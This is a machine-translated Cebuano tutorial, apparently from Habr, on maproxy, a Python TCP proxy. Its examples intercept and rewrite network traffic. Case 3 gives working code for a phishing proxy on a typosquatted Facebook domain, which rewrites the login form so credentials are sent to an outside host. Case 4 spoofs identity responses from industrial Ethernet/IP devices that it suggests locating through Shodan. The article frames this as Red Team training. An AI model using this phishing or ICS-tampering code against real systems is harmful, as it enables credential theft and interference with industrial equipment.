Iproseso ang data sa network sa langaw

Ang paghubad sa artikulo giandam sa bisperas sa pagsugod sa kurso “Pentest. Pagpraktis sa pagsulay sa penetration".

Iproseso ang data sa network sa langaw

Pagpahayag

Ang lain-laing mga matang sa mga pagtasa sa seguridad, gikan sa regular nga penetration testing ug mga operasyon sa Red Team ngadto sa pag-hack sa IoT/ICS nga mga device ug SCADA, naglakip sa pagtrabaho sa binary network protocols, nga mao, sa esensya nga pag-intercept ug pag-usab sa data sa network tali sa kliyente ug sa target. Ang pag-sniff sa trapiko sa network dili usa ka lisud nga buluhaton tungod kay kami adunay mga himan sama sa Wireshark, Tcpdump o Scapy, apan ang pagbag-o ingon usa ka labi ka kusog nga trabaho tungod kay kinahanglan namon nga adunay usa ka matang sa interface aron mabasa ang data sa network, pagsala niini, pagbag-o. kini sa langaw ug ipadala kini balik sa target host sa halos tinuod nga panahon. Dugang pa, kini maayo kung ang ingon nga himan mahimo’g awtomatiko nga molihok uban ang daghang managsama nga koneksyon ug mahimong mapasibo gamit ang mga script.

Usa ka adlaw nadiskobrehan nako ang usa ka himan nga gitawag maproxy, ang dokumentasyon dali nga nagpatin-aw kanako niana maproxy – ang akong gikinahanglan. Kini usa ka yano, daghag gamit ug dali nga ma-configure nga TCP proxy. Gisulayan nako kini nga himan sa daghang medyo komplikado nga mga aplikasyon, lakip ang mga aparato sa ICS (nga nagmugna daghang mga pakete) aron mahibal-an kung makadumala ba kini sa daghang managsama nga koneksyon, ug maayo ang paglihok sa himan.

Kini nga artikulo magpaila kanimo sa pagproseso sa data sa network sa langaw gamit maproxy.

kinatibuk-ang paghulagway

Galamiton maproxy gibase sa Tornado, usa ka sikat ug hamtong nga asynchronous networking framework sa Python.

Sa kinatibuk-an, kini mahimong molihok sa daghang mga mode:

  • TCP:TCP - wala ma-encrypt nga mga koneksyon sa TCP;
  • TCP:SSL и SSL:TCP - nga adunay usa ka paagi nga pag-encrypt;
  • SSL:SSL - duha ka paagi nga pag-encrypt.

Kini moabut ingon usa ka librarya. Alang sa dali nga pagsugod, mahimo nimong gamiton ang mga pananglitan nga mga file nga nagpakita sa panguna mga gimbuhaton sa librarya:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Kaso 1 – simple nga bidirectional proxy

Base sa tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

pinaagi sa default ProxyServer() nagkinahanglan og duha ka argumento - ang lokasyon sa koneksyon ug ang target nga pantalan. server.listen() nagkinahanglan og usa ka argumento - ang pantalan alang sa pagpaminaw sa umaabot nga koneksyon.

Pagpatuman sa script:

# python tcp2tcp.py

Aron mapadagan ang pagsulay, magkonektar kami sa lokal nga SSH server pinaagi sa among proxy script, nga maminaw sa 2222/tcp port ug nagkonektar sa usa ka standard nga pantalan 22/tcp Mga server sa SSH:

Iproseso ang data sa network sa langaw

Ang welcome banner nagpahibalo kanimo nga ang among panig-ingnan nga script malampuson nga nag-proxy sa trapiko sa network.

Kaso 2 - pagbag-o sa datos

Laing demo script logging_proxy.py sulundon alang sa pagpakig-uban sa data sa network. Ang mga komentaryo sa file naghulagway sa mga pamaagi sa klase nga mahimo nimong usbon aron makab-ot ang imong tumong:

Iproseso ang data sa network sa langaw

Ang labing makapaikag nga butang ania dinhi:

  • on_c2p_done_read – sa intercept data sa daplin sa dalan gikan sa kliyente ngadto sa server;
  • on_p2s_done_read - gibaliktad.

Atong sulayan ang pagbag-o sa SSH banner nga gibalik sa server sa kliyente:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Ipatuman ang script:

Iproseso ang data sa network sa langaw

Sama sa imong makita, ang kliyente nahisalaag tungod kay ang SSH server nga ngalan alang kaniya giusab sa «DumnySSH».

Iproseso ang data sa network sa langaw

Kaso 3 – yano nga panid sa web sa phishing

Adunay walay katapusan nga mga paagi sa paggamit niini nga himan. Niining higayona magpunting kita sa usa ka butang nga mas praktikal gikan sa bahin sa operasyon sa Red Team. Sundogon nato ang landing page m.facebook.com ug mogamit ug custom nga domain nga adunay tinuyo nga typo, pananglitan, m.facebok.com. Alang sa mga katuyoan sa pagpakita, atong hunahunaon nga ang domain narehistro nato.

Magtukod kami og unencrypted nga koneksyon sa network sa among mga biktima nga proxy ug SSL Stream sa Facebook server (31.13.81.36). Aron mahimo kini nga panig-ingnan, kinahanglan namon nga ilisan ang header sa HTTP host ug i-inject ang husto nga hostname, ug i-disable usab namo ang response compression aron dali namong ma-access ang mga sulod. Sa katapusan among ilisan ang HTML nga porma aron ang mga kredensyal sa pag-login ipadala kanamo imbes sa mga server sa Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/ceb/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Sa katingbanan:

Iproseso ang data sa network sa langaw

Sama sa imong nakita, malampuson namon nga napuli ang orihinal nga site.

Kaso 4 – Pag-port sa Ethernet/IP

Dugay na kong nag-atubang sa industriyal nga mga himan ug software (ICS/SCADA), sama sa mga programmable controllers (PLC), I/O modules, drive, relay, ladder programming environment ug daghan pa. Kini nga kaso alang niadtong gusto sa industriyal nga mga butang. Ang pag-hack sa maong mga solusyon naglakip sa aktibong pagdula sa mga protocol sa network. Sa mosunod nga pananglitan, gusto nakong ipakita kung unsaon nimo pag-usab ang trapiko sa network sa ICS/SCADA.

Alang niini kinahanglan nimo ang mosunod:

  • Network sniffer, pananglitan, Wireshark;
  • Ethernet/IP o usa lang ka SIP device, makit-an nimo kini gamit ang serbisyo sa Shodan;
  • Ang among script gibase sa maproxy.

Una, atong tan-awon kung unsa ang hitsura sa kasagaran nga tubag sa pag-ila gikan sa CIP (Common Industrial Protocol):

Iproseso ang data sa network sa langaw

Ang pag-ila sa device nahimo gamit ang Ethernet/IP protocol, nga usa ka gipauswag nga bersyon sa industriyal nga Ethernet protocol nga nagputos sa mga control protocol sama sa CIP. Atong usbon ang gipasiugda nga ngalan sa ID nga makita sa screenshot "NI-IndComm para sa Ethernet" gamit ang among proxy script. Mahimo natong gamiton pag-usab ang script logging_proxy.py ug parehas nga usbon ang pamaagi sa klase on_p2s_done_read, tungod kay gusto namo ang lain nga identidad nga ngalan nga makita sa kliyente.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Sa tinuud, gihangyo namon ang pag-ila sa aparato sa makaduha, ang ikaduha nga tubag mao ang orihinal, ug ang una giusab sa langaw.

Ug ang naulahi

Sa akong opinyon maproxy Usa ka kombenyente ug yano nga himan, nga gisulat usab sa Python, mao nga ako nagtuo nga ikaw usab makabenepisyo sa paggamit niini. Siyempre, adunay mas komplikado nga mga himan alang sa pagproseso ug pag-usab sa data sa network, apan nagkinahanglan usab sila og dugang nga pagtagad ug kasagaran gihimo alang sa usa ka piho nga kaso sa paggamit, e.g. muraena, Modlishka o evilginx alang sa mga kaso nga susama sa ikatulo, o canape alang sa katapusang kaso. Usa ka paagi o lain, uban sa tabang maproxy dali nimong ipatuman ang imong mga ideya alang sa pag-intercept sa data sa network, tungod kay ang mga pananglitan nga mga script klaro kaayo.

Pagsulay sa mga mekanismo sa pag-authenticate sa Windows AD

Source: www.habr.com

Idugang sa usa ka comment